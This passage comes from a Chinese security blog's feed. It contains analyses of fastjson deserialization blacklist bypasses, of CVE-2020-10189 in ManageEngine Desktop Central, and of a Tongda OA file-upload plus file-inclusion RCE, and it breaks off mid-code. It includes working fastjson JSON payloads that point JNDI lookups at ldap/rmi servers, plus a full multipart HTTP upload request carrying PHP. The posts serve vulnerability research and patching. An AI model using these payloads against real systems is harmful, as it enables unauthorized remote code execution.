3. <code>_bytecodes</code>为什么需要base64编码？<br />
4. <code>_tfactory</code>为什么为{}？</p>
<p><strong>问题1：<code>Feature.SupportNonPublicField</code></strong><br />
在fastjson中默认并不能序列化private属性，而我们使用的<code>TemplatesImpl</code>利用链的多个属性都是private，所以在反序列化的时候需要加上<code>Feature.SupportNonPublicField</code>，这也成了这个利用链的最大限制。<br />
<img src="/wp-content/uploads/2020/04/20200426119442.png" alt="image.png" /></p>
<p><strong>问题2：为什么需要<code>_outputProperties</code>属性</strong><br />
答案是为了触发<code>getOutputProperties()</code>。再问：如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊！下面就来分析下：</p>
<p>getOutputProperties()方法其对应的属性应该为<code>public</code>的<code>outputProperties</code>，其实你删了<code>_</code>也可以，<code>_</code>并不是必须的，那么fastjson到底是怎么处理的呢？<br />
<img src="/wp-content/uploads/2020/04/20200426114018.png" alt="image.png" /></p>
<p>在<code>com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField</code>中解析每一个字段时，会进行一次灵活匹配<code>this.smartMatch()</code><br />
<img src="/wp-content/uploads/2020/04/20200426119256.png" alt="image.png" /><br />
在进行is关键字判断之后，替换掉<code>-</code>和<code>_</code>再匹配getter和setter<br />
<img src="/wp-content/uploads/2020/04/20200426111692.png" alt="image.png" /><br />
所以就会调用<code>getOutputProperties()</code><br />
<img src="/wp-content/uploads/2020/04/20200426116858.png" alt="image.png" /><br />
而其返回值又是Properties，所以可以完美调用<code>getOutputProperties()</code>，进而触发<code>newTransformer()</code>-><code>getTransletInstance()</code>-><code>newInstance()</code>，导致RCE。</p>
<p><strong>问题3：<code>_bytecodes</code>为什么需要base64编码</strong></p>
<p>在解析byte[]的时候进行了base64解码<br />
<img src="/wp-content/uploads/2020/04/20200426117322.png" alt="image.png" /></p>
<p>跟进<br />
<img src="/wp-content/uploads/2020/04/20200426115663.png" alt="image.png" /></p>
<p><strong>问题4：_tfactory为什么为{}</strong><br />
在<code>fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579</code>解析字段值时，会自动判断传入键值是否为空，如果为空会根据类属性定义的类型自动创建实例<br />
<img src="/wp-content/uploads/2020/04/20200426117245.png" alt="image.png" /></p>
<p>到这算是把fastjson写的差不多，剩下的就是无尽的bypass。</p>
<h3>1.2.25-1.2.41</h3>
<p>在1.2.25版本中，重新使用jdbc利用链复现报错<br />
<img src="/wp-content/uploads/2020/04/20200426118908.png" alt="image.png" /></p>
<p>使用idea对比两个jar包发现改为了checkAutoType()方法<br />
<img src="/wp-content/uploads/2020/04/20200426110544.png" alt="image.png" /></p>
<p>跟进checkAutoType()发现<br />
<img src="/wp-content/uploads/2020/04/20200426116206.png" alt="image.png" /></p>
<p>增加了类前缀黑名单白名单判断，在1.2.25版本中AutoTypeSupport默认false，需要显示关闭白名单</p>
<pre><code class="language-java ">ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
</code></pre>
<p>在关闭了AutoTypeSupport之后仍然需要绕过黑名单，以startsWith判断<br />
<img src="/wp-content/uploads/2020/04/20200426117781.png" alt="image.png" /><br />
但是在跟了TypeUtils.loadClass()之后会发现<br />
<img src="/wp-content/uploads/2020/04/20200426110879.png" alt="image.png" /><br />
如果classname以<code>[</code>开头loadClass会自动去掉，还有就是开头<code>L</code>结尾<code>;</code>的也会去掉，那么我们有了新的绕过方法：</p>
<pre><code class="language-java ">ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
</code></pre>
<p>7u21的链同理，在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。</p>
<h3>1.2.42绕过</h3>
<p>在1.2.41中<code>L;</code>的方法测试可以，1.2.42中不行<br />
<img src="/wp-content/uploads/2020/04/20200426118932.png" alt="image.png" /></p>
<p>对比jar发现ParserConfig中黑名单改为hash<br />
<img src="/wp-content/uploads/2020/04/20200426114517.png" alt="image.png" /><br />
classname截取<code>L;</code><br />
<img src="/wp-content/uploads/2020/04/20200426115617.png" alt="image.png" /></p>
<p>通过计算hash让我们不知道黑名单是什么类，但是加密方式在<code>com.alibaba.fastjson.util.TypeUtils#fnv1a_64</code>是有的<br />
<img src="/wp-content/uploads/2020/04/20200426116258.png" alt="image.png" /><br />
通过变量常用的jar、类、字符串碰撞hash得到黑名单，有一个项目已经做好了：https://github.com/LeadroyaL/fastjson-blacklist</p>
<p>绕过也比较简单，<code>com.alibaba.fastjson.parser.ParserConfig#checkAutoType</code>截取一次，<code>com.alibaba.fastjson.util.TypeUtils#loadClass</code>截取一次，那么双写就可以绕过</p>
<pre><code class="language-json ">{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
</code></pre>
<h3>1.2.43</h3>
<p>判断了是否以<code>LL</code>开头，直接抛出异常<br />
<img src="/wp-content/uploads/2020/04/20200426118900.png" alt="image.png" /></p>
<p>但是<code>[</code>还可以</p>
<pre><code class="language-json ">{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
</code></pre>
<h3>1.2.44</h3>
<p>修复之前<code>[</code>的问题，虽然之前<code>[</code>是不能用的</p>
<h3>1.2.45</h3>
<p>增加了黑名单</p>
<pre><code class="language-java ">//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
</code></pre>
<h3>1.2.47 通杀</h3>
<p>通杀autotype和黑名单</p>
<pre><code class="language-json ">{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}
</code></pre>
<p>在TypeUtils的static初始化时调用<code>com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings</code>中会将常用的类通过loadclass()放入mapping中</p>
<pre><code class="language-java ">private static void addBaseClassMappings() {
    mappings.put("byte", Byte.TYPE);
    mappings.put("short", Short.TYPE);
    mappings.put("int", Integer.TYPE);
    mappings.put("long", Long.TYPE);
    mappings.put("float", Float.TYPE);
    mappings.put("double", Double.TYPE);
    mappings.put("boolean", Boolean.TYPE);
    mappings.put("char", Character.TYPE);
    mappings.put("[byte", byte[].class);
    mappings.put("[short", short[].class);
    mappings.put("[int", int[].class);
    mappings.put("[long", long[].class);
    mappings.put("[float", float[].class);
    mappings.put("[double", double[].class);
    mappings.put("[boolean", boolean[].class);
    mappings.put("[char", char[].class);
    mappings.put("[B", byte[].class);
    mappings.put("[S", short[].class);
    mappings.put("[I", int[].class);
    mappings.put("[J", long[].class);
    mappings.put("[F", float[].class);
    mappings.put("[D", double[].class);
    mappings.put("[C", char[].class);
    mappings.put("[Z", boolean[].class);
    Class&lt;?&gt;[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class};
    Class[] var1 = classes;
    int var2 = classes.length;

    int var3;
    for(var3 = 0; var3 &lt; var2; ++var3) {
        Class clazz = var1[var3];
        if (clazz != null) {
            mappings.put(clazz.getName(), clazz);
        }
    }

    String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"};
    String[] spring = awt;
    var3 = awt.length;

    int var11;
    for(var11 = 0; var11 &lt; var3; ++var11) {
        String className = spring[var11];
        Class&lt;?&gt; clazz = loadClass(className);
        if (clazz == null) {
            break;
        }

        mappings.put(clazz.getName(), clazz);
    }

    spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"};
    String[] var10 = spring;
    var11 = spring.length;

    for(int var12 = 0; var12 &lt; var11; ++var12) {
        String className = var10[var12];
        Class&lt;?&gt; clazz = loadClass(className);
        if (clazz == null) {
            break;
        }

        mappings.put(clazz.getName(), clazz);
    }

}
</code></pre>
<p>然后开始解析json，当传入type时进入checkAutoType()检查类<br />
<img src="/wp-content/uploads/2020/04/20200426116782.png" alt="image.png" /></p>
<p>在调用解析时我们没有传入预期的反序列化对象的对应类名时，会从mapping中或者deserializers.findClass()寻找<br />
<img src="/wp-content/uploads/2020/04/20200426114621.png" alt="image.png" /><br />
当找到类之后会直接return class，不会再进行autotype和黑名单校验，而在deserializers中有<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.Class</code><br />
<img src="/wp-content/uploads/2020/04/20200426115596.png" alt="image.png" /></p>
<p>继续解析<br />
<img src="/wp-content/uploads/2020/04/20200426117492.png" alt="image.png" /></p>
<p>获取到java.lang.class对应的反序列化处理类<code>com.alibaba.fastjson.serializer.MiscCodec</code>，然后开始deserializer.deserialze()反序列化<br />
<img src="/wp-content/uploads/2020/04/20200426111709.png" alt="image.png" /><br />
parser.parse()获取val的值<br />
<img src="/wp-content/uploads/2020/04/20200426116949.png" alt="image.png" /><br />
赋值给strVal，然后经过一系列判断之后<br />
<img src="/wp-content/uploads/2020/04/20200426113708.png" alt="image.png" /><br />
传入TypeUtils.loadClass()</p>
<p>在loadclass中将strVal加入到mapping中<br />
<img src="/wp-content/uploads/2020/04/20200426118022.png" alt="image.png" /></p>
<p>此时mapping中有了jdbc的类名，而Mappings是ConcurrentMap类的，顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时，此次连接未断开时，继续解析第二个json键值对，然后和上文中提到的一样，在校验autotype和黑名单之前就已经return了clazz，变相绕过了黑名单，利用JNDI注入RCE。</p>
<h3>1.2.48</h3>
<p>黑名单多了两条，MiscCodec中将默认传入的cache变为false，checkAutoType()调整了逻辑</p>
<h3>1.2.62</h3>
<p>黑名单绕过</p>
<pre><code class="language-json ">{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
</code></pre>
<h3>1.2.66</h3>
<p>也是黑名单绕过</p>
<pre><code class="language-java ">// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
</code></pre>
<h2>总结</h2>
<p>从<code>@type</code>属性牵扯出来一系列的RCE，整个过程分析下来还是很有收获，不停的bypass才是反序列化的最大乐趣。</p>
<h2>参考链接</h2>
<ol>
<li>https://www.anquanke.com/post/id/181874</li>
<li>https://xz.aliyun.com/t/7027</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/">Fastjson反序列化漏洞 1.2.24-1.2.48</a></li>
<li>https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-10189 Zoho ManageEngine反序列化RCE</title>
		<link>/audit/1387.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 13 Apr 2020 01:36:58 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1387</guid>

					<description><![CDATA[文章首发先知 漏洞描述 在3月6日，@steventseeley 在twitter上发布了关于 Zoho 企业产品 Zoho ManageEngine Desktop Centra...]]></description>
										<content:encoded><![CDATA[<p>文章首发先知</p>
<h2>漏洞描述</h2>
<p>在3月6日，<a class="wp-editor-md-post-content-link" href="https://twitter.com/steventseeley/status/1235635108498948096">@steventseeley</a> 在twitter上发布了关于 Zoho 企业产品 Zoho ManageEngine Desktop Central 中的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>远程代码执行漏洞。该产品是一款基于 Web 的企业级服务器、桌面机及移动设备管理软件，可对桌面机以及移动设备管理的整个生命周期提供完全的支持，提供软件分发、补丁管理、资产管理、系统配置、远程控制、USB 外设管理、移动设备及应用管理等功能模块，帮助 IT 管理员集中远程管理大量的 PC 和 IOS/Android/Windows 移动设备。</p>
<h2>影响版本</h2>
<p>Zoho ManageEngine Desktop Central &lt; 10.0.474</p>
<h2>漏洞分析</h2>
<p>本文使用10.0.465 x64复现分析，<a class="wp-editor-md-post-content-link" href="http://archives.manageengine.com/desktop-central/">历史版本下载移步</a>。</p>
<h3>寻找反序列化点</h3>
<p>首先反序列化漏洞，肯定需要先找到反序列化的点。</p>
<p>查看 <code>DesktopCentral_ServerwebappsDesktopCentralWEB-INFweb.xml</code> 发现了名为 <code>CewolfServlet</code> 的<code>servlet</code>，对应的类为 <code>DesktopCentral_Serverlibcewolf-1.2.4.jar</code> 中的 <code>de.laures.cewolf.CewolfRenderer</code>，对应的url为<code>/cewolf/*</code></p>
<p><img src="https://y4er.com/img/uploads/20200321182965.png" alt="image" /></p>
<p><img src="/wp-content/uploads/2020/04/20200321185502.png" alt="image" /></p>
<p><code>CewolfRenderer</code> 类继承 <code>HttpServlet</code> 是一个 <code>servlet</code>，在其 <code>doGet</code> 方法中</p>
<p><img src="/wp-content/uploads/2020/04/20200321182003.png" alt="image" /></p>
<p><code>imgKey</code> 可控，然后调用 <code>storage.getChartImage(imgKey, request)</code> 。<code>Storage</code> 类是一个接口，在这个jar包中，<code>FileStorage</code> 类实现了 <code>Storage</code> 接口的 <code>getChartImage</code> 方法。</p>
<p><img src="/wp-content/uploads/2020/04/20200321181041.png" alt="image" /></p>
<p>很明显的看到直接将之前传入的 <code>img</code> 当作 <code>imgKey</code> 参数，然后通过 <code>getFileName()</code> 获取文件名然后进行 <code>ObjectInputStream</code> 的 <code>readObject()</code>，再看 <code>getFileName()</code>。</p>
<p><img src="/wp-content/uploads/2020/04/20200321183565.png" alt="image" /></p>
<p>进行了一个简单的拼接，无伤大雅。</p>
<p>捋一下，通过img传入参数触发读文件进而反序列化，现在的问题就是这个恶意的序列化文件我们怎么传上去，并且路径要有<code>_chart</code>。</p>
<h3>寻找上传点</h3>
<p>web.xml中寻找上传的servlet</p>
<p><img src="/wp-content/uploads/2020/04/20200321186974.png" alt="image" /></p>
<p>跟进之后发现udid、filename可控，并且udid被拼接到文件保存目录中。</p>
<p><img src="/wp-content/uploads/2020/04/20200321185491.png" alt="image" /></p>
<pre><code class="language-java ">String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;
</code></pre>
<p>那么我们可以跨目录上传，在上文中我们传入文件名触发反序列化时会拼接 <code>this.basePath + "_chart" + id</code> 到路径中，所以我们需要构造一个 <code>_chart</code> 的路径 <code>aaa......webappsDesktopCentral_chart</code>。</p>
<p>再来看对文件名的处理</p>
<p><img src="/wp-content/uploads/2020/04/20200321186665.png" alt="image" /></p>
<p>然后文件名转小写之后进行了 <code>FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")</code> 的校验，然后拼接为完整的文件路径，看下校验了什么。</p>
<p><img src="/wp-content/uploads/2020/04/20200321184618.png" alt="image" /></p>
<p>然后进行 <code>isContainDirectoryTraversal()</code> 、 <code>isCompletePath()</code> 、 <code>isValidFileExtension()</code> 的校验。</p>
<pre><code class="language-java ">private static boolean isContainDirectoryTraversal(String fileName) {
    return fileName.contains("/") || fileName.contains("\");
}

private static boolean isCompletePath(String fileName) {
    String regexFileExtensionPattern = "([a-zA-Z]:[\ \\ / //].*)";
    Pattern pattern = Pattern.compile(regexFileExtensionPattern);
    Matcher matcher = pattern.matcher(fileName);
    return matcher.matches();
}

private static boolean isContainExecutableFileExt(String fileName) {
    if (fileName.indexOf("u0000") != -1) {
        fileName = fileName.substring(0, fileName.indexOf("u0000"));
    }

    String fileExtension = FilenameUtils.getExtension(fileName).trim();
    if (!fileExtension.trim().equals("")) {
        fileExtension = fileExtension.toLowerCase();
        ArrayList executableFileExts = new ArrayList(Arrays.asList("jsp", "js", "html", "htm", "shtml", "shtm", "hta", "asp"));
        if (executableFileExts.contains(fileExtension)) {
            return true;
        }
    }

    return false;
}
</code></pre>
<p>判断是否文件名进行了目录穿越、是否是合法后缀等，但是因为之前的目录是由udid控制的，并不影响我们的文件上传。而在web.xml中引入了security-mdm-agent.xml</p>
<p><img src="/wp-content/uploads/2020/04/20200321187536.png" alt="image" /></p>
<p>在 <code>security-mdm-agent.xml</code> 中有一个校验，只允许文件名为 <code>logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip</code></p>
<p><img src="/wp-content/uploads/2020/04/20200321183022.png" alt="image" /></p>
<p>所以构造如下请求，即可上传文件</p>
<p><img src="/wp-content/uploads/2020/04/20200321181636.png" alt="image" /></p>
<h3>寻找gadgets</h3>
<p><code>DesktopCentral_Serverlib</code> 中有 <code>commons-collections.jar(3.1)</code>、<code>commons-beanutils-1.8.0.jar</code>，完美。使用ysoserial生成序列化文件，先上传然后触发反序列化就完事了。注意ysoserial的pom.xml要和目标的jar版本一样。</p>
<p><img src="/wp-content/uploads/2020/04/20200321181885.png" alt="image" /></p>
<h2>漏洞修复</h2>
<p>截至2020/03/20 9.34分，官网版本为10.0.515，已经修复了漏洞，请更新。</p>
<h2>参考链接</h2>
<ol>
<li>https://srcincite.io/pocs/src-2020-0011.py.txt</li>
<li>https://www.anquanke.com/post/id/200474</li>
<li>https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通达OA 任意文件上传配合文件包含导致RCE</title>
		<link>/audit/1345.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Mar 2020 13:09:32 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1345</guid>

					<description><![CDATA[昨晚爆出来，今天早上分析分析。 复现 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.124.138 Content-Leng...]]></description>
										<content:encoded><![CDATA[<p>昨晚爆出来，今天早上分析分析。<br />
<span id="more-1345"></span></p>
<h2>复现</h2>
<pre><code class="">POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.124.138
Content-Length: 463
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTfafXJtEseBHh3r1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: KEY_RANDOMDATA=3656; PHPSESSID=Y4er
Connection: close

------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.png"
Content-Type: application/octet-stream

&lt;?php echo 'Y4er';
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="P"

Y4er
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="DEST_UID"

12
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="UPLOAD_MODE"

1

</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318213312-1.png" alt="image" /></p>
<p>先上传文件，然后文件包含</p>
<p><img src="/wp-content/uploads/2020/03/20200318211780-1.png" alt="image" /></p>
<h2>文件上传</h2>
<p>代码是zend加密的，百度一搜一大把解密。</p>
<p>文件上传的代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' &amp;&amp; !td_verify_ids($ids)) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
}
$MODULE = 'im';
if (1 &lt;= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }
    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
    if (!is_array($ATTACHMENTS)) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
    if ($TYPE == 'mobile') {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
    }
} else {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('无文件上传'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('文件上传失败'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if ($UPLOAD_MODE == '1') {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }
    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
    $MSG_CATE = $_POST['MSG_CATE'];
    if ($MSG_CATE == 'file') {
        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
    } else {
        if ($MSG_CATE == 'image') {
            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
        } else {
            $DURATION = intval($DURATION);
            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        }
    }
    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, '@');
    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }
    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();
    if ($cursor === false) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('数据库操作失败'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    $dataBack = array('status' =&gt; 1, 'content' =&gt; $CONTENT, 'file_id' =&gt; $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit;
} else {
    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;
    } else {
        if ($UPLOAD_MODE == '3') {
            if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
            echo '+OK ' . $ATTACHMENT_ID;
        } else {
            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
            if ($cursor === false) {
                echo '-ERR ' . _('数据库操作失败');
                exit;
            }
            if ($FILE_ID == 0) {
                echo '-ERR ' . _('数据库操作失败2');
                exit;
            }
            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
            exit;
        }
    }
}
</code></pre>
<p>关键点在于<br />
<img src="/wp-content/uploads/2020/03/20200318211110-1.png" alt="image" /></p>
<p>POST提交P参数，就不会引入auth.php，进而绕过登陆。</p>
<p><img src="/wp-content/uploads/2020/03/20200318218839-1.png" alt="image" /></p>
<p>然后就是需要传一个DEST_UID参数来过exit，只要不为0或空的数字都可以。然后就可以走到upload函数了，接下来如果<code>$UPLOAD_MODE == '1'</code>就会把<code>ATTACHMENT_ID</code>输出出来，这个id其实就是我们马的文件名，但是因为不在web目录，所以需要一个文件包含。</p>
<h2>文件包含</h2>
<p>代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
